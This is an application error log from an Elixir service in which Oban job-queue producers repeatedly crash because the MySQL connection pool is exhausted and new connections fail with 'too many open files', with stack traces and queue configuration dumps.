State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:47:42.240623Z], limit: 5, uuid: "c05cadc4-d4d5-4932-bdc1-bce27116ec78", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:42.240631Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.78636>, refresh_timer: #Reference<0.2525715032.1068498948.78611>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:54.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 825ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:47:42.240682Z], limit: 50, uuid: "51fee01e-c03c-40ef-8dae-35abb55875e0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:42.240687Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.54923>, refresh_timer: #Reference<0.2525715032.1077673987.54898>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:47:54.739000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:55.002000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:55.068000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:56.169000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:47:56.815000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:00.684000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:02.859000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1027ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:47:54.239823Z], limit: 5, uuid: "6d52a58c-5d3d-47ef-a9ce-69294c92f6c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:54.239828Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.222875>, refresh_timer: #Reference<0.2525715032.1099431938.69124>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:47:54.240684Z], limit: 50, uuid: "dac62528-c3fa-433d-8d25-9e2d82de795f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:54.240690Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.78956>, refresh_timer: #Reference<0.2525715032.1099431938.69136>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:47:54.239037Z], limit: 20, uuid: "2e79314f-991e-4587-a7ac-9ddaae4af190", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:54.239042Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.78952>, refresh_timer: #Reference<0.2525715032.1121189889.222854>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:47:54.240220Z], limit: 3, uuid: "e17b28a0-80ed-4a20-800a-b575921e6069", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:54.240226Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.78953>, refresh_timer: #Reference<0.2525715032.1121189889.222874>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:47:54.238419Z], limit: 10, uuid: "07ce84f9-8333-43b1-bb6a-b62c32af3f6d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:54.238426Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.78954>, refresh_timer: #Reference<0.2525715032.1099431938.69096>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:47:54.239359Z], limit: 5, uuid: "e1f403c2-a616-44e1-94c2-7c3ca8fdada7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:47:54.239364Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.78955>, refresh_timer: #Reference<0.2525715032.1099431938.69111>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:48:07.078000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:07.335000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:11.079000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:12.047000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:13.848000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:14.980000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:48:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:48:06.240058Z], limit: 3, uuid: "280d93a5-2fa1-4d79-b089-387dcc24b450", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:48:06.240071Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.79310>, refresh_timer: #Reference<0.2525715032.1099431938.69186>, dispatch_cooldown: 5, running: %{}}
